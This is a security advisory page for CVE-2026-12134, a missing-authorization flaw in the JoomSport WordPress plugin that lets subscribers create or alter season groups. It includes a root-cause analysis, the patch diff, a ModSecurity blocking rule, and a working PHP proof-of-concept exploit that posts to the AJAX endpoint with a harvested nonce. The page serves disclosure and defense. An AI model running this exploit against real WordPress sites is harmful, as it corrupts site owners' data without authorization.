Published : July 1, 2026

CVE-2026-12134: JoomSport <= 5.7.8 Authenticated (Subscriber+) Missing Authorization to Arbitrary Group Creation/Modification via season_groupedit AJAX action PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.7.8
Patched Version 5.7.9
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12134:

This vulnerability allows authenticated attackers with subscriber-level access to create or modify arbitrary season groups in the JoomSport plugin for WordPress, affecting versions up to and including 5.7.8. The vulnerability carries a CVSS score of 4.3 (Medium) and stems from missing authorization checks in multiple AJAX handler functions.

Root Cause: The JoomSport plugin registers AJAX action handlers in `joomsport-post-season.php` that lack proper capability checks. The vulnerable functions include `joomsport_season_groupedit` (line 231), `joomsport_season_parentseas` (line 220), `joomsport_season_genermodal` (line 248), `joomsport_season_grouplist` (line 254), `joomsport_season_groupdel` (line 291), and `joomsport_md_load` (line 950). These functions only verify the nonce (`check_ajax_referer(“joomsportajaxnonce”, “security”)`) but do not check if the current user has the `manage_options` capability required for administrative actions. The nonce `joomsportajaxnonce` is exposed on frontend pages rendering JoomSport shortcodes, making it accessible to any authenticated user.

Exploitation: An attacker with subscriber-level access first obtains the nonce by visiting any JoomSport shortcode page and extracting the nonce from the HTML source or JavaScript. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with parameters such as `action=joomsport_season_groupedit`, `security=NONCE_VALUE`, `group_id=NEW_GROUP_ID`, and `group_name=ArbitraryGroupName`. The server processes the request without verifying administrative privileges, allowing group creation or modification. Similar requests target other actions like `joomsport_season_groupdel` for deletion or `joomsport_season_parentseas` for modifying parent season relationships.

Patch Analysis: The patch adds `if (!current_user_can(‘manage_options’)) { wp_die(‘-1’, 403); }` before each nonce check in all vulnerable AJAX handlers within `joomsport-post-season.php`, `joomsport-post-team.php`, `joomsport-taxonomy-matchday.php`, and `joomsport-post-match.php`. This ensures only users with the `manage_options` capability (administrators) can execute these actions. The change modifies the authorization logic from nonce-only verification to a two-factor check requiring both the nonce and administrator-level permissions.

Impact: Successful exploitation allows authenticated subscribers to create arbitrary season groups, modify existing group names and participants, delete groups, and alter round-type options. An attacker could disrupt organized league structures, add fake teams or participants to live seasons, and corrupt competition data. This undermines the integrity of sports management data and could cause significant administrative overhead to restore correct configurations.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/joomsport-sports-league-results-management/includes/joomsport-actions.php
+++ b/joomsport-sports-league-results-management/includes/joomsport-actions.php
@@ -1992,7 +1992,7 @@
                             . ' AND player_id = %d'
                             . ' AND team_id = %d';

-                        $wpdb->query($wpdb->prepare($query, array($dur - $kicks[$intK]->kickMin, intval($this->season_id), intval($kicks[$intK]->player_id), intval($kicks[$intK]->team_id))));
+                        $wpdb->query($wpdb->prepare($query, array($dur - intval($kicks[$intK]->kickMin), intval($this->season_id), intval($kicks[$intK]->player_id), intval($kicks[$intK]->team_id))));
                     }
                 }
             }
--- a/joomsport-sports-league-results-management/includes/joomsport-shortcodes.php
+++ b/joomsport-sports-league-results-management/includes/joomsport-shortcodes.php
@@ -302,6 +302,7 @@
         $options['limit'] = $args['quantity'];
         $options['group_id'] = $args['group_id'];
         $options['ordering'] = $eventid.' DESC';
+        $options['groupby'] = 1;
         $eventObj = new classJsportEvent($args['event']);
         $players = classJsportgetplayers::getPlayersFromTeam($options);
         if(count($players['list'])){
--- a/joomsport-sports-league-results-management/includes/joomsport-templates.php
+++ b/joomsport-sports-league-results-management/includes/joomsport-templates.php
@@ -43,7 +43,10 @@

     public static function joomsport_content($content){
         if($content) return $content;
-        if ( !in_the_loop() ) return $content;
+        //if ( !in_the_loop() ) return $content;
+        if (!is_singular() || !in_the_loop()) {
+            return $content;
+        }
         global $controllerSportLeague;
         remove_filter('has_post_thumbnail', "joomsport_filter_has_team_thumb");
         remove_filter('post_thumbnail_html', 'joomsport_filter_pt');
@@ -62,9 +65,24 @@
                 echo get_the_password_form();
                 return;
             }
+
+            $ob_level = ob_get_level();
+
             ob_start();
             $controllerSportLeague->execute();
-            return ob_get_clean();
+            $joomsport_content = ob_get_clean();
+
+            if (!empty($joomsport_content)) {
+
+                while (ob_get_level() > $ob_level) {
+                    ob_end_clean();
+                }
+
+                return $joomsport_content;
+            }
+
+
+

         }
         return $content;
--- a/joomsport-sports-league-results-management/includes/meta-boxes/joomsport-meta-match.php
+++ b/joomsport-sports-league-results-management/includes/meta-boxes/joomsport-meta-match.php
@@ -1044,6 +1044,16 @@
             $is_field = array_merge($is_field,$mstatuses);
         }

+        $season_id = get_post_meta($post->ID,'_joomsport_seasonid',true);
+
+        $sportID = JoomSportHelperObjects::getSportType($season_id);
+        $sportTemplClass = JoomSportHelperObjects::getSportTemplate($sportID);
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterMatchStatuses')){
+
+            $is_field = $sportTemplClass::filterMatchStatuses($is_field);
+        }
+
+
         $m_played = get_post_meta($post->ID,'_joomsport_match_played',true);
         $m_date = get_post_meta($post->ID,'_joomsport_match_date',true);
         $m_time = get_post_meta($post->ID,'_joomsport_match_time',true);
--- a/joomsport-sports-league-results-management/includes/posts/joomsport-post-match.php
+++ b/joomsport-sports-league-results-management/includes/posts/joomsport-post-match.php
@@ -119,6 +119,7 @@
     }

     public static function getSubEvents(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");
         global $wpdb;

--- a/joomsport-sports-league-results-management/includes/posts/joomsport-post-season.php
+++ b/joomsport-sports-league-results-management/includes/posts/joomsport-post-season.php
@@ -217,6 +217,7 @@
         <?php
     }
     public static function joomsport_season_parentseas(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");

         $terms_id = isset($_POST['tournament_id'])?intval($_POST['tournament_id']):0;
@@ -228,6 +229,7 @@
         wp_die();
     }
     public static function joomsport_season_groupedit(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");
         global $wpdb;
         $group_id = isset($_POST['group_id'])?intval($_POST['group_id']):0;
@@ -243,6 +245,7 @@
         wp_die();
     }
     public static function joomsport_season_genermodal(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");

         $group_id = isset($_POST['group_id'])?intval($_POST['group_id']):0;
@@ -251,6 +254,7 @@
         wp_die();
     }
     public static function joomsport_season_grouplist(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");
         global  $wpdb;

@@ -288,6 +292,7 @@
         wp_die();
     }
     public static function joomsport_season_groupdel(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");
         global  $wpdb;

@@ -942,6 +947,7 @@
     }

     public static function joomsport_md_load(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");

         $mdId = isset($_POST['mdId'])?intval($_POST['mdId']):0;
--- a/joomsport-sports-league-results-management/includes/posts/joomsport-post-team.php
+++ b/joomsport-sports-league-results-management/includes/posts/joomsport-post-team.php
@@ -145,6 +145,7 @@
         <?php
     }
     public static function joomsport_team_seasonrelated(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");

         $season_id = isset($_POST['season_id'])?intval($_POST['season_id']):0;
--- a/joomsport-sports-league-results-management/includes/taxonomies/joomsport-taxonomy-matchday.php
+++ b/joomsport-sports-league-results-management/includes/taxonomies/joomsport-taxonomy-matchday.php
@@ -68,6 +68,7 @@
     }

     public static function joomsport_mday_savematch(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         if(isset($_POST['formdata'])){parse_str(sanitize_text_field(wp_unslash($_POST['formdata'])), $output);}
         if(isset($output["tag_ID"])){

@@ -78,6 +79,7 @@
         wp_die();
     }
     public static function joomsport_mday_saveknock(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         if(isset($_POST['formdata'])){parse_str(sanitize_text_field(wp_unslash($_POST['formdata'])), $output);}
         if(isset($output["tag_ID"]) && current_user_can('manage_options')){

--- a/joomsport-sports-league-results-management/joomsport.php
+++ b/joomsport-sports-league-results-management/joomsport.php
@@ -3,7 +3,7 @@
 Plugin Name: JoomSport
 Plugin URI: http://joomsport.com
 Description: Sport league plugin
-Version: 5.7.8
+Version: 5.7.9
 Author: BearDev
 Author URI: http://BearDev.com
 License: GPLv3
--- a/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php
+++ b/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php
@@ -146,7 +146,7 @@
                 $query .= (isset($player_id) && $player_id ? ' AND l.player_id = '.$player_id : '');
                 $query .= (isset($departed) && $departed!="" ? ' AND l.departed = '.intval($departed) : '');

-                if($stdoptions == 'std'){
+                if($stdoptions == 'std' || (isset($groupby) && $groupby)){
                     $query .= ' GROUP BY l.player_id';
                 }

@@ -173,7 +173,7 @@
                 }

                 $query_count .= (isset($player_id) && $player_id ? ' AND l.player_id = '.$player_id : '');
-                if($stdoptions == 'std'){
+                if($stdoptions == 'std' || (isset($groupby) && $groupby)){
                     $query_count .= ' GROUP BY l.player_id';
                 }
             }
--- a/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/extrafields/class-extrafield-date.php
+++ b/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/extrafields/class-extrafield-date.php
@@ -16,6 +16,8 @@
         }

         if($ef){
+            $efP = explode(" ", $ef);
+            $ef = $efP[0]??$ef;
             switch ($dateage) {
                 case '1':
                     return self::calcAge($ef);
--- a/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-match.php
+++ b/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-match.php
@@ -361,7 +361,7 @@
         }

         $term_list = get_the_terms($this->id, 'joomsport_matchday');
-        if(count($term_list)){
+        if($term_list && count($term_list)){
             return $term_list[0]->term_id;
         }
     }
--- a/joomsport-sports-league-results-management/sportleague/helpers/js-helper-tabs.php
+++ b/joomsport-sports-league-results-management/sportleague/helpers/js-helper-tabs.php
@@ -46,7 +46,7 @@

                     ?>
                 <li class="nav-item">
-                    <a data-toggle="tab" href="#<?php echo esc_attr($tabs[$intA]['id']);?>" class="navlink<?php echo (($intA == 0 && !$jscurtab) || ($jscurtab == '#'.$tabs[$intA]['id'])) ? ' active' : ''; ?>">
+                    <a data-toggle="tab" href="#<?php echo esc_attr($tabs[$intA]['id']);?>" class="navlink<?php echo (($intA == 0 && !$jscurtab) || ($jscurtab == '#'.$tabs[$intA]['id'])) ? ' active' : ''; ?>" data-target="#<?php echo $tabs[$intA]['id'];?>">
                         <i class="<?php echo esc_attr($tab_ico);?>" <?php if($tab_icoImg){echo ' style="background:url('.wp_get_attachment_image_url($tab_icoImg,array(24,24),false).'")';}?>></i> <span><?php echo wp_kses_post($tabs[$intA]['title']);
                     ?></span></a></li>
               <?php
--- a/joomsport-sports-league-results-management/sportleague/helpers/js-helper.php
+++ b/joomsport-sports-league-results-management/sportleague/helpers/js-helper.php
@@ -248,7 +248,16 @@
         }
         $m_played = get_post_meta( $match->id, '_joomsport_match_played', true );

-        if (in_array($m_played,array(-1,1))) {
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterHomeScore')){
+            $args = array("match"=>$match,"home_score"=>$home_score);
+            $home_score = $sportTemplClass::filterHomeScore($args);
+        }
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterAwayScore')){
+            $args = array("match"=>$match,"away_score"=>$away_score);
+            $away_score = $sportTemplClass::filterAwayScore($args);
+        }
+
+        if (in_array($m_played,array(-1,1,-10,-11))) {
             $text = '';
             if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'getScoreFESmall')){
                 $args = array("match"=>$match,"home_score"=>$home_score,"away_score"=>$away_score);
@@ -304,9 +313,19 @@
             $home_score = get_post_meta( $match->id, '_joomsport_home_score', true );
             $away_score = get_post_meta( $match->id, '_joomsport_away_score', true );
         }
+        $sportID = JoomSportHelperObjects::getSportType($match->season_id);
+        $sportTemplClass = JoomSportHelperObjects::getSportTemplate($sportID);
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterHomeScore')){
+            $args = array("match"=>$match,"home_score"=>$home_score);
+            $home_score = $sportTemplClass::filterHomeScore($args);
+        }
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterAwayScore')){
+            $args = array("match"=>$match,"away_score"=>$away_score);
+            $away_score = $sportTemplClass::filterAwayScore($args);
+        }
         $m_played = get_post_meta( $match->id, '_joomsport_match_played', true );
         $jmscore = get_post_meta($match->id, '_joomsport_match_jmscore',true);
-        if (in_array($m_played,array(-1,1))) {
+        if (in_array($m_played,array(-1,1,-10,-11))) {
             $bonus1 = '';
             $bonus2 = '';
             $sep = JSCONF_SCORE_SEPARATOR;
--- a/joomsport-sports-league-results-management/sportleague/views/default/season.php
+++ b/joomsport-sports-league-results-management/sportleague/views/default/season.php
@@ -10,7 +10,7 @@

 $term_list = get_the_terms($rows->object->ID, 'joomsport_tournament');
 $descr = '';
-if(count($term_list)){
+if($term_list && count($term_list)){
     $descr = $term_list[0]->description;
 }
 ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-12134 - JoomSport Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-12134'"
SecRule ARGS_POST:action "@pm joomsport_season_groupedit joomsport_season_parentseas joomsport_season_genermodal joomsport_season_grouplist joomsport_season_groupdel joomsport_md_load joomsport_team_seasonrelated joomsport_mday_savematch joomsport_mday_saveknock" "chain"
SecRule ARGS_POST:group_id|ARGS_POST:season_id|ARGS_POST:group_name "@rx ^.{1,}$" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12134 - JoomSport <= 5.7.8 - Authenticated (Subscriber+) Missing Authorization to Arbitrary Group Creation/Modification via season_groupedit AJAX action

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber'; // Low-privileged user with subscriber role
$password = 'password123';

// Step 1: Login as subscriber
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_exec($ch);
curl_close($ch);

// Step 2: Extract nonce from JoomSport frontend page (must exist with shortcode)
// For PoC, you need to manually obtain this or visit a page with [joomsport] shortcode
$nonce = 'CHANGE_ME'; // Replace with extracted nonce value

// Step 3: Exploit - Create a new group
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = [
    'action' => 'joomsport_season_groupedit',
    'security' => $nonce,
    'group_id' => 0, // 0 = create new
    'group_name' => 'AtomicEdge_Exploit_Group',
    'season_id' => 1, // Existing season ID
    'round_type' => '0',
    'participants' => []
];

$ch = curl_init($exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";

// Cleanup
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.